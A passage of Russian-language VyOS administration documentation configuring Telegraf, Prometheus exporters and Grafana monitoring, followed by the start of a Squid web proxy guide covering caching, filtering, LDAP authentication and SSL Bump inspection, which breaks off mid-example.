**Authentication token**:
```bash
set service monitoring telegraf splunk authentication token 'B5A79AAD-D822-46CC-80D1-819F80D7BFB0'
```

**Source identifier**:
```bash
set service monitoring telegraf splunk source 'vyos-gateway'
```

**Sourcetype**:
```bash
set service monitoring telegraf splunk sourcetype 'network:metrics'
```

**Index** (опционально):
```bash
set service monitoring telegraf splunk index 'network_metrics'
```

## Loki Integration

### Конфигурация Loki output

```bash
# Loki server URL
set service monitoring telegraf loki url 'http://loki.example.com'
set service monitoring telegraf loki port '3100'

# Опциональная аутентификация
set service monitoring telegraf loki authentication username 'loki-user'
set service monitoring telegraf loki authentication password 'secure_pass'

# Metric name as label
set service monitoring telegraf loki metric-name-label '__name__'

commit
save
```

### Параметры Loki

**URL и Port**:
```bash
set service monitoring telegraf loki url 'https://loki.grafana.cloud'
set service monitoring telegraf loki port '443'
```

**Authentication**:
```bash
set service monitoring telegraf loki authentication username 'user'
set service monitoring telegraf loki authentication password 'api-key'
```

**Labels**:
```bash
set service monitoring telegraf loki metric-name-label 'metric_name'
```

## Prometheus Node Exporter

Node Exporter предоставляет детальные системные метрики для Prometheus.

### Базовая конфигурация

```bash
# Включить Node Exporter
set service monitoring prometheus node-exporter

# Listen address и port
set service monitoring prometheus node-exporter listen-address '0.0.0.0'
set service monitoring prometheus node-exporter port '9100'

commit
save
```

### VRF Support

```bash
# Запустить в определенном VRF
set service monitoring prometheus node-exporter vrf 'MGMT'
```

### Textfile Collector

Для custom метрик через textfile collector:

```bash
# Директория для textfile метрик
# По умолчанию: /var/lib/prometheus/node-exporter/
```

Создайте файл метрики:
```bash
echo 'custom_metric{label="value"} 123' > /var/lib/prometheus/node-exporter/custom.prom
```

### Метрики Node Exporter

Node Exporter предоставляет метрики:
- **CPU**: usage, frequency, thermal throttling
- **Memory**: total, free, cached, buffers, swap
- **Disk**: I/O statistics, space usage, inodes
- **Network**: bytes/packets TX/RX, errors, drops
- **Filesystem**: mount points, disk usage
- **System**: load average, uptime, context switches
- **Hardware**: temperature sensors, fans (если доступно)

### Prometheus scrape config для Node Exporter

```yaml
scrape_configs:
  - job_name: 'node-exporter'
    static_configs:
      - targets:
        - '192.168.1.1:9100'
        labels:
          hostname: 'vyos-router-01'
          role: 'gateway'
          site: 'datacenter-1'
```

## Prometheus FRR Exporter

FRR Exporter предоставляет метрики маршрутизации Free Range Routing.

### Конфигурация FRR Exporter

```bash
# Включить FRR Exporter
set service monitoring prometheus frr-exporter

# Listen address и port
set service monitoring prometheus frr-exporter listen-address '0.0.0.0'
set service monitoring prometheus frr-exporter port '9342'

# VRF
set service monitoring prometheus frr-exporter vrf 'MGMT'

commit
save
```

### Метрики FRR Exporter

FRR Exporter предоставляет метрики:
- **BGP**: peers status, prefixes received/advertised, session uptime
- **OSPF**: neighbors, LSA counts, areas
- **RIP**: neighbors, routes
- **ISIS**: adjacencies, LSP counts
- **BFD**: sessions status
- **Route counts**: IPv4/IPv6 routes по protocol
- **VRF**: routing table statistics per VRF

### Prometheus scrape config для FRR

```yaml
scrape_configs:
  - job_name: 'frr-exporter'
    static_configs:
      - targets:
        - '192.168.1.1:9342'
        labels:
          hostname: 'vyos-router-01'
          asn: '65001'
```

## Prometheus Blackbox Exporter

Blackbox Exporter проверяет доступность внешних сервисов через HTTP, HTTPS, DNS, TCP, ICMP, gRPC.

### Базовая конфигурация

```bash
# Включить Blackbox Exporter
set service monitoring prometheus blackbox-exporter

# Listen address и port
set service monitoring prometheus blackbox-exporter listen-address '0.0.0.0'
set service monitoring prometheus blackbox-exporter port '9115'

# VRF
set service monitoring prometheus blackbox-exporter vrf 'MGMT'

commit
save
```

### DNS Module Configuration

```bash
# DNS probe module
set service monitoring prometheus blackbox-exporter modules dns name 'dns4'
set service monitoring prometheus blackbox-exporter modules dns name 'dns4' preferred-ip-protocol 'ip4'
set service monitoring prometheus blackbox-exporter modules dns name 'dns4' query-name 'example.com'
set service monitoring prometheus blackbox-exporter modules dns name 'dns4' query-type 'A'

# DNS сервер для запроса
set service monitoring prometheus blackbox-exporter modules dns name 'dns4' server-address '8.8.8.8'
set service monitoring prometheus blackbox-exporter modules dns name 'dns4' server-port '53'

# Transport protocol
set service monitoring prometheus blackbox-exporter modules dns name 'dns4' transport 'udp'

# Timeout
set service monitoring prometheus blackbox-exporter modules dns name 'dns4' timeout '5'

commit
save
```

### ICMP Module Configuration

```bash
# ICMP ping module (IPv4)
set service monitoring prometheus blackbox-exporter modules icmp name 'icmp4'
set service monitoring prometheus blackbox-exporter modules icmp name 'icmp4' preferred-ip-protocol 'ip4'
set service monitoring prometheus blackbox-exporter modules icmp name 'icmp4' ttl '64'
set service monitoring prometheus blackbox-exporter modules icmp name 'icmp4' timeout '5'

# ICMP ping module (IPv6)
set service monitoring prometheus blackbox-exporter modules icmp name 'icmp6'
set service monitoring prometheus blackbox-exporter modules icmp name 'icmp6' preferred-ip-protocol 'ip6'
set service monitoring prometheus blackbox-exporter modules icmp name 'icmp6' timeout '5'

commit
save
```

### HTTP Module Configuration

```bash
# HTTP probe
set service monitoring prometheus blackbox-exporter modules http name 'http_2xx'
set service monitoring prometheus blackbox-exporter modules http name 'http_2xx' preferred-ip-protocol 'ip4'
set service monitoring prometheus blackbox-exporter modules http name 'http_2xx' timeout '10'

# Expected status codes
# По умолчанию проверяет 2xx коды

# TLS configuration
set service monitoring prometheus blackbox-exporter modules http name 'https_check'
set service monitoring prometheus blackbox-exporter modules http name 'https_check' preferred-ip-protocol 'ip4'
# TLS проверка включена автоматически для https:// URL

commit
save
```

### TCP Module Configuration

```bash
# TCP connection probe
set service monitoring prometheus blackbox-exporter modules tcp name 'tcp_connect'
set service monitoring prometheus blackbox-exporter modules tcp name 'tcp_connect' preferred-ip-protocol 'ip4'
set service monitoring prometheus blackbox-exporter modules tcp name 'tcp_connect' timeout '5'

commit
save
```

### gRPC Module Configuration

```bash
# gRPC health check
set service monitoring prometheus blackbox-exporter modules grpc name 'grpc_health'
set service monitoring prometheus blackbox-exporter modules grpc name 'grpc_health' preferred-ip-protocol 'ip4'
set service monitoring prometheus blackbox-exporter modules grpc name 'grpc_health' timeout '5'

# Service name для gRPC health check
set service monitoring prometheus blackbox-exporter modules grpc name 'grpc_health' service 'my-grpc-service'

# TLS для gRPC
# Автоматически включается для grpcs:// scheme

commit
save
```

### Prometheus configuration для Blackbox

```yaml
scrape_configs:
  # Blackbox exporter endpoint
  - job_name: 'blackbox-exporter'
    static_configs:
      - targets:
        - '192.168.1.1:9115'

  # ICMP probes
  - job_name: 'blackbox-icmp'
    metrics_path: /probe
    params:
      module: [icmp4]
    static_configs:
      - targets:
        - 8.8.8.8
        - 1.1.1.1
        - google.com
    relabel_configs:
      - source_labels: [__address__]
        target_label: __param_target
      - source_labels: [__param_target]
        target_label: instance
      - target_label: __address__
        replacement: 192.168.1.1:9115

  # HTTP probes
  - job_name: 'blackbox-http'
    metrics_path: /probe
    params:
      module: [http_2xx]
    static_configs:
      - targets:
        - https://example.com
        - https://api.example.com/health
    relabel_configs:
      - source_labels: [__address__]
        target_label: __param_target
      - source_labels: [__param_target]
        target_label: instance
      - target_label: __address__
        replacement: 192.168.1.1:9115

  # DNS probes
  - job_name: 'blackbox-dns'
    metrics_path: /probe
    params:
      module: [dns4]
    static_configs:
      - targets:
        - example.com
        - google.com
    relabel_configs:
      - source_labels: [__address__]
        target_label: __param_target
      - source_labels: [__param_target]
        target_label: instance
      - target_label: __address__
        replacement: 192.168.1.1:9115

  # TCP probes
  - job_name: 'blackbox-tcp'
    metrics_path: /probe
    params:
      module: [tcp_connect]
    static_configs:
      - targets:
        - example.com:443
        - smtp.example.com:25
    relabel_configs:
      - source_labels: [__address__]
        target_label: __param_target
      - source_labels: [__param_target]
        target_label: instance
      - target_label: __address__
        replacement: 192.168.1.1:9115
```

## Grafana Dashboards

### InfluxDB Dashboard

**Grafana Data Source** - InfluxDB v2:
```
Type: InfluxDB
URL: http://influxdb.example.com:8086
Organization: vyos-monitoring
Token: YOUR_INFLUXDB_TOKEN
Default Bucket: vyos-metrics
```

**InfluxQL Query Example**:
```flux
from(bucket: "vyos-metrics")
  |> range(start: -1h)
  |> filter(fn: (r) => r["_measurement"] == "cpu")
  |> filter(fn: (r) => r["_field"] == "usage_idle")
  |> aggregateWindow(every: 1m, fn: mean)
```

**Dashboard Panels**:
- CPU Usage (100 - idle%)
- Memory Usage (used/total * 100)
- Network Traffic (bytes TX/RX per interface)
- Disk I/O (read/write bytes)
- System Load Average

### Prometheus Dashboard

**Grafana Data Source** - Prometheus:
```
Type: Prometheus
URL: http://prometheus.example.com:9090
```

**PromQL Query Examples**:

CPU Usage:
```promql
100 - (avg by (instance) (irate(node_cpu_seconds_total{mode="idle"}[5m])) * 100)
```

Memory Usage:
```promql
(1 - (node_memory_MemAvailable_bytes / node_memory_MemTotal_bytes)) * 100
```

Network Traffic (TX):
```promql
rate(node_network_transmit_bytes_total{device="eth0"}[5m])
```

Network Traffic (RX):
```promql
rate(node_network_receive_bytes_total{device="eth0"}[5m])
```

Disk Usage:
```promql
(node_filesystem_size_bytes{fstype!~"tmpfs|fuse.lxcfs|squashfs|vfat"} - node_filesystem_avail_bytes) / node_filesystem_size_bytes * 100
```

BGP Peers (FRR):
```promql
frr_bgp_peer_up
```

BGP Prefixes Received:
```promql
frr_bgp_peer_prefixes_received_count
```

Blackbox Probe Success:
```promql
probe_success
```

HTTP Response Time:
```promql
probe_http_duration_seconds
```

DNS Query Time:
```promql
probe_dns_lookup_time_seconds
```

### Recommended Grafana Dashboards

**Node Exporter Full**:
- Dashboard ID: 1860
- Import URL: https://grafana.com/grafana/dashboards/1860

**Telegraf System Overview**:
- Dashboard ID: 928
- Import URL: https://grafana.com/grafana/dashboards/928

**Blackbox Exporter**:
- Dashboard ID: 7587
- Import URL: https://grafana.com/grafana/dashboards/7587

### Custom VyOS Dashboard Panels

**System Overview Panel**:
- Hostname
- Uptime
- VyOS Version
- System Load
- CPU Temperature (если доступно)

**Network Overview Panel**:
- Total Bandwidth TX/RX
- Interface Status (Up/Down)
- Packet Errors
- Packet Drops

**Routing Panel**:
- BGP Sessions Status
- OSPF Neighbors
- Route Counts по Protocol
- Prefix Limits

**Security Panel**:
- Firewall Dropped Packets
- Connection Tracking Usage
- Failed Login Attempts (из syslog)

## Примеры конфигураций

### Пример 1: Basic Prometheus Monitoring

```bash
# Node Exporter для системных метрик
set service monitoring prometheus node-exporter
set service monitoring prometheus node-exporter listen-address '0.0.0.0'
set service monitoring prometheus node-exporter port '9100'

# FRR Exporter для метрик маршрутизации
set service monitoring prometheus frr-exporter
set service monitoring prometheus frr-exporter listen-address '0.0.0.0'
set service monitoring prometheus frr-exporter port '9342'

# Blackbox для проверки доступности
set service monitoring prometheus blackbox-exporter
set service monitoring prometheus blackbox-exporter listen-address '0.0.0.0'
set service monitoring prometheus blackbox-exporter port '9115'

# ICMP module
set service monitoring prometheus blackbox-exporter modules icmp name 'icmp4'
set service monitoring prometheus blackbox-exporter modules icmp name 'icmp4' preferred-ip-protocol 'ip4'

# Firewall для Prometheus server
set firewall ipv4 input filter rule 100 action accept
set firewall ipv4 input filter rule 100 source address '192.168.1.100/32'
set firewall ipv4 input filter rule 100 destination port '9100,9115,9342'
set firewall ipv4 input filter rule 100 protocol tcp

commit
save
```

### Пример 2: InfluxDB Cloud Integration

```bash
# Telegraf с InfluxDB Cloud
set service monitoring telegraf influxdb authentication organization 'my-company'
set service monitoring telegraf influxdb authentication token 'eyJrIjoiVGVzdCIsIm4iOiJUZXN0...'
set service monitoring telegraf influxdb bucket 'vyos-prod'
set service monitoring telegraf influxdb url 'https://eu-central-1-1.aws.cloud2.influxdata.com'
set service monitoring telegraf influxdb port '443'

commit
save
```

### Пример 3: Hybrid Monitoring (Telegraf + Prometheus)

```bash
# Telegraf с Prometheus client output
set service monitoring telegraf prometheus-client
set service monitoring telegraf prometheus-client listen-address '0.0.0.0'
set service monitoring telegraf prometheus-client port '9273'
set service monitoring telegraf prometheus-client allow-from '192.168.1.100/32'

# Node Exporter для дополнительных метрик
set service monitoring prometheus node-exporter
set service monitoring prometheus node-exporter listen-address '0.0.0.0'
set service monitoring prometheus node-exporter port '9100'

# FRR Exporter
set service monitoring prometheus frr-exporter
set service monitoring prometheus frr-exporter listen-address '0.0.0.0'
set service monitoring prometheus frr-exporter port '9342'

# Firewall
set firewall ipv4 input filter rule 100 action accept
set firewall ipv4 input filter rule 100 source address '192.168.1.100/32'
set firewall ipv4 input filter rule 100 destination port '9100,9273,9342'
set firewall ipv4 input filter rule 100 protocol tcp

commit
save
```

### Пример 4: Enterprise Multi-Output

```bash
# InfluxDB для long-term storage
set service monitoring telegraf influxdb authentication organization 'network-ops'
set service monitoring telegraf influxdb authentication token 'INFLUX_TOKEN'
set service monitoring telegraf influxdb bucket 'network-metrics'
set service monitoring telegraf influxdb url 'https://influx.company.com'
set service monitoring telegraf influxdb port '8086'

# Prometheus для real-time alerting
set service monitoring telegraf prometheus-client
set service monitoring telegraf prometheus-client listen-address '10.0.0.1'
set service monitoring telegraf prometheus-client port '9273'
set service monitoring telegraf prometheus-client allow-from '10.0.0.100/32'

# Splunk для logs и SIEM
set service monitoring telegraf splunk url 'https://splunk.company.com:8088'
set service monitoring telegraf splunk authentication token 'SPLUNK_HEC_TOKEN'
set service monitoring telegraf splunk source 'vyos-gateway-01'
set service monitoring telegraf splunk sourcetype 'vyos:metrics'

commit
save
```

### Пример 5: Blackbox Probing

```bash
# Blackbox Exporter
set service monitoring prometheus blackbox-exporter
set service monitoring prometheus blackbox-exporter listen-address '0.0.0.0'
set service monitoring prometheus blackbox-exporter port '9115'

# ICMP IPv4
set service monitoring prometheus blackbox-exporter modules icmp name 'icmp4'
set service monitoring prometheus blackbox-exporter modules icmp name 'icmp4' preferred-ip-protocol 'ip4'
set service monitoring prometheus blackbox-exporter modules icmp name 'icmp4' ttl '64'

# ICMP IPv6
set service monitoring prometheus blackbox-exporter modules icmp name 'icmp6'
set service monitoring prometheus blackbox-exporter modules icmp name 'icmp6' preferred-ip-protocol 'ip6'

# DNS проверка (IPv4)
set service monitoring prometheus blackbox-exporter modules dns name 'dns4'
set service monitoring prometheus blackbox-exporter modules dns name 'dns4' preferred-ip-protocol 'ip4'
set service monitoring prometheus blackbox-exporter modules dns name 'dns4' query-name 'example.com'
set service monitoring prometheus blackbox-exporter modules dns name 'dns4' query-type 'A'
set service monitoring prometheus blackbox-exporter modules dns name 'dns4' server-address '8.8.8.8'
set service monitoring prometheus blackbox-exporter modules dns name 'dns4' transport 'udp'

# HTTP проверка
set service monitoring prometheus blackbox-exporter modules http name 'http_2xx'
set service monitoring prometheus blackbox-exporter modules http name 'http_2xx' preferred-ip-protocol 'ip4'
set service monitoring prometheus blackbox-exporter modules http name 'http_2xx' timeout '10'

# TCP проверка
set service monitoring prometheus blackbox-exporter modules tcp name 'tcp_connect'
set service monitoring prometheus blackbox-exporter modules tcp name 'tcp_connect' preferred-ip-protocol 'ip4'
set service monitoring prometheus blackbox-exporter modules tcp name 'tcp_connect' timeout '5'

commit
save
```

### Пример 6: VRF Isolation

```bash
# Management VRF для мониторинга
set service monitoring prometheus node-exporter vrf 'MGMT'
set service monitoring prometheus node-exporter listen-address '10.0.0.1'
set service monitoring prometheus node-exporter port '9100'

set service monitoring prometheus frr-exporter vrf 'MGMT'
set service monitoring prometheus frr-exporter listen-address '10.0.0.1'
set service monitoring prometheus frr-exporter port '9342'

set service monitoring prometheus blackbox-exporter vrf 'MGMT'
set service monitoring prometheus blackbox-exporter listen-address '10.0.0.1'
set service monitoring prometheus blackbox-exporter port '9115'

commit
save
```

## Операционные команды

### Проверка статуса Telegraf

```bash
# Service status
show service monitoring telegraf

# Check процесс
run show system processes | grep telegraf
```

### Проверка Prometheus Exporters

```bash
# Node Exporter metrics
curl http://localhost:9100/metrics

# FRR Exporter metrics
curl http://localhost:9342/metrics

# Blackbox Exporter health
curl http://localhost:9115/health
```

### Тестирование Blackbox Probes

```bash
# ICMP probe
curl 'http://localhost:9115/probe?module=icmp4&target=8.8.8.8'

# HTTP probe
curl 'http://localhost:9115/probe?module=http_2xx&target=https://example.com'

# DNS probe
curl 'http://localhost:9115/probe?module=dns4&target=example.com'

# TCP probe
curl 'http://localhost:9115/probe?module=tcp_connect&target=example.com:443'
```

### Restart Services

```bash
# Restart Telegraf
restart monitoring telegraf

# Note: Prometheus exporters restart автоматически при изменении конфигурации
```

## Мониторинг и диагностика

### Проверка метрик

**Node Exporter endpoint**:
```bash
curl http://localhost:9100/metrics | head -20
```

**Фильтр specific metrics**:
```bash
curl http://localhost:9100/metrics | grep node_cpu
curl http://localhost:9100/metrics | grep node_memory
curl http://localhost:9100/metrics | grep node_network
```

### Логи

```bash
# Telegraf logs
show log | match telegraf

# System logs
show log | match monitoring
```

### Firewall проверка

```bash
# Проверить правила для monitoring ports
show firewall ipv4 input filter

# Test connectivity с Prometheus server
ping 192.168.1.100
```

### Performance

```bash
# Проверить CPU usage от exporters
run show system processes | grep -E 'node_exporter|frr_exporter|blackbox'

# Network connections
run netstat -tulpn | grep -E '9100|9115|9273|9342'
```

## Troubleshooting

### Telegraf не отправляет метрики в InfluxDB

**Проблема**: Метрики не появляются в InfluxDB.

**Причины**:
1. Неправильный token или organization
2. Network connectivity issues
3. Firewall блокирует исходящие соединения
4. Неправильный bucket name

**Диагностика**:
```bash
# Проверить конфигурацию
show service monitoring telegraf influxdb

# Проверить connectivity
ping influxdb.example.com

# Проверить logs
show log | match telegraf
```

**Решение**:
```bash
# Проверить authentication
set service monitoring telegraf influxdb authentication token 'CORRECT_TOKEN'

# Проверить URL
set service monitoring telegraf influxdb url 'https://correct-url.influxdata.com'

# Commit и restart
commit
restart monitoring telegraf
```

### Prometheus не может scrape метрики

**Проблема**: Prometheus targets показывают "down" status.

**Причины**:
1. Firewall блокирует порты
2. Exporter не запущен
3. Listen address неправильный
4. Network routing issues

**Диагностика**:
```bash
# Проверить exporters
curl http://localhost:9100/metrics
curl http://localhost:9342/metrics

# Проверить listening ports
run netstat -tulpn | grep -E '9100|9342'

# Firewall
show firewall ipv4 input filter
```

**Решение**:
```bash
# Firewall правило
set firewall ipv4 input filter rule 100 action accept
set firewall ipv4 input filter rule 100 source address '192.168.1.100/32'
set firewall ipv4 input filter rule 100 destination port '9100,9342,9115'
set firewall ipv4 input filter rule 100 protocol tcp

# Listen на правильном interface
set service monitoring prometheus node-exporter listen-address '192.168.1.1'

commit
```

### Blackbox probe failures

**Проблема**: Blackbox probes показывают probe_success = 0.

**Причины**:
1. Target недоступен
2. Timeout слишком короткий
3. Firewall блокирует ICMP/DNS/HTTP
4. Неправильная конфигурация module

**Диагностика**:
```bash
# Test probe вручную
curl 'http://localhost:9115/probe?module=icmp4&target=8.8.8.8'

# Проверить connectivity
ping 8.8.8.8

# DNS test
dig @8.8.8.8 example.com
```

**Решение**:
```bash
# Увеличить timeout
set service monitoring prometheus blackbox-exporter modules icmp name 'icmp4' timeout '10'

# Проверить firewall для исходящих ICMP
show firewall ipv4 output filter

commit
```

### FRR Exporter не показывает BGP metrics

**Проблема**: BGP метрики отсутствуют или нулевые.

**Причины**:
1. BGP не настроен
2. FRR daemon не запущен
3. Exporter не имеет доступа к FRR vtysh

**Диагностика**:
```bash
# Проверить BGP
show ip bgp summary

# Проверить FRR
run show system processes | grep bgpd

# Test FRR exporter
curl http://localhost:9342/metrics | grep bgp
```

**Решение**:
```bash
# Restart FRR exporter
commit
# Exporter перезапустится автоматически

# Проверить FRR configuration
show protocols bgp
```

### High memory usage от Telegraf

**Проблема**: Telegraf потребляет много памяти.

**Причины**:
1. Слишком много output plugins
2. Buffering issues
3. High metrics cardinality

**Решение**:
- Используйте только необходимые outputs
- Настройте metric filtering
- Увеличьте flush interval

### Metrics missing в Grafana

**Проблема**: Панели в Grafana пустые или показывают "No data".

**Причины**:
1. Data source неправильно настроен
2. Query syntax ошибка
3. Time range не содержит данных
4. Metric name изменился

**Диагностика**:
```bash
# Проверить что метрики доступны
curl http://192.168.1.1:9100/metrics | grep node_cpu

# Проверить в Grafana Query Inspector
# Grafana → Panel → Query Inspector → Query
```

**Решение**:
- Проверить Data Source connectivity в Grafana
- Validate PromQL query syntax
- Adjust time range
- Check metric names в /metrics endpoint

## Безопасность

### Firewall Protection

```bash
# Allow только с monitoring servers
set firewall ipv4 input filter rule 100 action accept
set firewall ipv4 input filter rule 100 source address '192.168.1.100/32'
set firewall ipv4 input filter rule 100 destination port '9100,9115,9273,9342'
set firewall ipv4 input filter rule 100 protocol tcp

# Drop остальные
set firewall ipv4 input filter rule 999 action drop
set firewall ipv4 input filter rule 999 destination port '9100,9115,9273,9342'
set firewall ipv4 input filter rule 999 protocol tcp
```

### HTTP Authentication для Prometheus Client

```bash
set service monitoring telegraf prometheus-client authentication username 'prometheus'
set service monitoring telegraf prometheus-client authentication password 'SecurePassword123!'
```

### VRF Isolation

```bash
# Isolate monitoring в management VRF
set service monitoring prometheus node-exporter vrf 'MGMT'
set service monitoring prometheus frr-exporter vrf 'MGMT'
set service monitoring prometheus blackbox-exporter vrf 'MGMT'
```

### TLS для Telegraf outputs

Для InfluxDB Cloud и Splunk используйте HTTPS URLs:
```bash
set service monitoring telegraf influxdb url 'https://influxdb.example.com'
set service monitoring telegraf splunk url 'https://splunk.example.com:8088'
```

### Secrets Management

**Никогда не коммитьте tokens в version control**:
- Используйте environment variables где возможно
- Rotate tokens регулярно
- Используйте read-only tokens где возможно

## Лучшие практики

1. **Use VRF для management traffic**:
   - Изолировать monitoring в dedicated VRF
   - Protect management network

2. **Firewall restrictive rules**:
   - Allow только specific monitoring servers
   - Block public access к exporters

3. **Monitoring redundancy**:
   - Multiple Prometheus servers
   - InfluxDB clustering
   - Grafana high availability

4. **Metric retention**:
   - Short-term в Prometheus (15-30 дней)
   - Long-term в InfluxDB (1+ год)

5. **Alerting**:
   - Configure Prometheus Alertmanager
   - Alert на critical метриках:
     - CPU > 80%
     - Memory > 90%
     - Disk > 85%
     - Interface down
     - BGP session down

6. **Dashboard organization**:
   - Separate dashboards по функции
   - Use folders в Grafana
   - Standard naming conventions

7. **Performance**:
   - Tune scrape intervals (30s для most cases)
   - Limit metric cardinality
   - Use recording rules для expensive queries

8. **Documentation**:
   - Document custom metrics
   - Maintain dashboard inventory
   - Document alerting thresholds

9. **Testing**:
   - Test queries перед deployment
   - Validate alert rules
   - Test failover scenarios

10. **Regular reviews**:
    - Review metrics usage
    - Cleanup unused dashboards
    - Update alerting rules
    - Rotate credentials

## Заключение

VyOS предоставляет comprehensive monitoring capabilities через Telegraf и Prometheus exporters, обеспечивая полную visibility в производительность и состояние сетевой инфраструктуры.

**Основные возможности**:
- **Telegraf** - универсальный агент для multiple outputs (InfluxDB, Prometheus, Splunk, Azure, Loki)
- **Node Exporter** - детальные системные метрики (CPU, memory, disk, network)
- **FRR Exporter** - routing protocol metrics (BGP, OSPF, ISIS)
- **Blackbox Exporter** - service availability probing (HTTP, DNS, ICMP, TCP)

**Integration**:
- Seamless integration с Prometheus и Grafana
- Native support для InfluxDB и Splunk
- Cloud-ready (Azure Data Explorer, InfluxDB Cloud)

**Рекомендации**:
- Используйте Prometheus + Grafana для real-time monitoring и alerting
- Используйте InfluxDB для long-term storage и capacity planning
- Настройте Blackbox Exporter для proactive service monitoring
- Protect exporters с firewall и VRF isolation

Правильная конфигурация мониторинга обеспечивает proactive problem detection, capacity planning, и troubleshooting capabilities для сетевой инфраструктуры на базе VyOS.


---

# Web Proxy (Squid) в VyOS

Source: https://opennix.org/docs/vyos/services/vyos-webproxy/



Webproxy в VyOS представляет собой прокси-сервер на базе Squid, который обеспечивает кэширование веб-контента, фильтрацию URL, контроль доступа и оптимизацию трафика для корпоративных сетей.

## Основные возможности

- **Кэширование HTTP/HTTPS**: Ускорение доступа к веб-ресурсам и снижение внешнего трафика
- **Фильтрация контента**: Блокировка доступа к нежелательным сайтам по категориям и URL
- **Аутентификация пользователей**: LDAP, RADIUS, локальная аутентификация
- **Контроль доступа**: ACL на основе IP-адресов, доменов, времени доступа
- **Прозрачный прокси**: Перехват HTTP-трафика без настройки клиентов
- **SSL Bump**: Инспекция HTTPS-трафика (требует установки CA на клиентах)
- **Bandwidth management**: Ограничение скорости для пользователей и групп
- **Логирование и отчетность**: Подробные логи доступа для аудита

## Базовая конфигурация

### Простой прокси с кэшированием

```bash
# Включить webproxy
set service webproxy listen-address 192.168.1.1 port 3128

# Кэширование
set service webproxy cache-size 100
set service webproxy default-port 3128

# Разрешить доступ из локальной сети
set service webproxy listen-address 192.168.1.1

# Применить конфигурацию
commit
save
```

**Проверка**:
```bash
# Статус Squid
show service webproxy

# Логи доступа
show log webproxy access

# Статистика кэша
show service webproxy cache-stats
```

**Настройка клиентов** (вручную):
- Прокси: 192.168.1.1
- Порт: 3128
- Протокол: HTTP

### Прозрачный прокси

Автоматический перехват HTTP-трафика без настройки браузеров:

```bash
# Включить прозрачный режим
set service webproxy listen-address 192.168.1.1 port 3128
set service webproxy listen-address 192.168.1.1 transparent

# NAT redirect для HTTP (порт 80)
set nat destination rule 10 destination port 80
set nat destination rule 10 inbound-interface eth1
set nat destination rule 10 protocol tcp
set nat destination rule 10 translation address 192.168.1.1
set nat destination rule 10 translation port 3128

commit
save
```

**Важно**: Прозрачный прокси работает только для HTTP (порт 80). Для HTTPS (443) требуется SSL Bump с установкой CA-сертификата на клиентах.

### Базовая фильтрация по доменам

```bash
# Создать список блокируемых доменов
set service webproxy url-filtering squidguard block-category ads
set service webproxy url-filtering squidguard block-category malware
set service webproxy url-filtering squidguard block-category gambling

# Локальный blacklist
set service webproxy url-filtering squidguard local-block example.com
set service webproxy url-filtering squidguard local-block badsite.net

# Применить фильтрацию
commit
save
```

## Расширенная конфигурация

### Аутентификация пользователей (LDAP)

```bash
# LDAP аутентификация
set service webproxy authentication method ldap
set service webproxy authentication ldap server dc.example.com
set service webproxy authentication ldap base-dn 'dc=example,dc=com'
set service webproxy authentication ldap bind-dn 'cn=proxy-reader,ou=Service Accounts,dc=example,dc=com'
set service webproxy authentication ldap password 'SecurePassword'
set service webproxy authentication ldap filter '(memberOf=cn=Internet Users,ou=Groups,dc=example,dc=com)'
set service webproxy authentication ldap username-attribute sAMAccountName
set service webproxy authentication ldap port 389

# Требовать аутентификацию
set service webproxy authentication children 5
set service webproxy authentication realm "Corporate Proxy"

# Кэширование учетных данных
set service webproxy authentication cache-time 60

commit
save
```

### ACL - контроль доступа

```bash
# Разрешить доступ для сети администраторов без ограничений
set service webproxy access-control allow-admin source 192.168.10.0/24

# Разрешить пользователям доступ только к рабочим сайтам
set service webproxy access-control allow-users source 192.168.1.0/24
set service webproxy access-control allow-users destination !social-media
set service webproxy access-control allow-users destination !streaming

# Блокировать доступ к социальным сетям в рабочее время
set service webproxy access-control block-social source 192.168.1.0/24
set service webproxy access-control block-social destination social-media
set service webproxy access-control block-social time M-F 09:00-18:00

# Запретить все остальное
set service webproxy access-control deny-all

commit
save
```

### SSL Bump - инспекция HTTPS

**Предупреждение**: SSL Bump требует установки CA-сертификата прокси на всех клиентских устройствах и может нарушать политику конфиденциальности.

```bash
# Сгенерировать CA для SSL Bump
generate pki ca install webproxy-ca cn "Corporate Proxy CA"

# Включить SSL Bump
set service webproxy listen-address 192.168.1.1 port 3129
set service webproxy ssl-bump enable
set service webproxy ssl-bump certificate webproxy-ca

# Исключения (банки, медицинские сайты)
set service webproxy ssl-bump exclude-domain online.sberbank.ru
set service webproxy ssl-bump exclude-domain www.gosuslugi.ru
set service webproxy ssl-bump exclude-domain *.bank.ru

# NAT redirect для HTTPS
set nat destination rule 20 destination port 443
set nat destination rule 20 inbound-interface eth1
set nat destination rule 20 protocol tcp
set nat destination rule 20 translation address 192.168.1.1
set nat destination rule 20 translation port 3129

commit
save
```

**Экспорт CA-сертификата**:
```bash
# Экспортировать CA для установки на клиенты
show pki ca webproxy-ca pem
```

Установите этот сертификат в доверенные корневые CA на всех клиентских устройствах.

### Кэширование и производительность

```bash
# Увеличить размер кэша
set service webproxy cache-size 2000
set service webproxy maximum-object-size 4096

# Настройки памяти
set service webproxy mem-cache-size 256

# Максимальное количество клиентов
set service webproxy maximum-client-connections 100

# Время хранения объектов в кэше
set service webproxy refresh-patterns pattern \.jpg$ min 1440 percent 50 max 10080
set service webproxy refresh-patterns pattern \.png$ min 1440 percent 50 max 10080
set service webproxy refresh-patterns pattern \.pdf$ min 1440 percent 80 max 43200

commit
save
```

### SquidGuard - категоризация контента

```bash
# Обновить базы категорий SquidGuard
run update webproxy blacklists

# Блокировать категории
set service webproxy url-filtering squidguard block-category adult
set service webproxy url-filtering squidguard block-category gambling
set service webproxy url-filtering squidguard block-category weapons
set service webproxy url-filtering squidguard block-category warez
set service webproxy url-filtering squidguard block-category drugs
set service webproxy url-filtering squidguard block-category malware

# Разрешить социальные сети только для определенных групп
set service webproxy url-filtering squidguard rule allow-social source-group managers
set service webproxy url-filtering squidguard rule allow-social allow social-media

# Логирование блокировок
set service webproxy url-filtering squidguard log all

# Страница блокировки
set service webproxy url-filtering squidguard redirect-url http://proxy.example.com/blocked.html

commit
save
```

## Примеры конфигурации

### 1. Корпоративный прокси с аутентификацией

**Задача**: Настроить прокси для офиса на 200 пользователей с LDAP-аутентификацией, кэшированием и базовой фильтрацией.

```bash
# Базовая конфигурация прокси
set service webproxy listen-address 192.168.1.1 port 3128
set service webproxy cache-size 1000
set service webproxy mem-cache-size 128
set service webproxy maximum-client-connections 200

# LDAP аутентификация
set service webproxy authentication method ldap
set service webproxy authentication ldap server dc1.corp.local
set service webproxy authentication ldap base-dn 'dc=corp,dc=local'
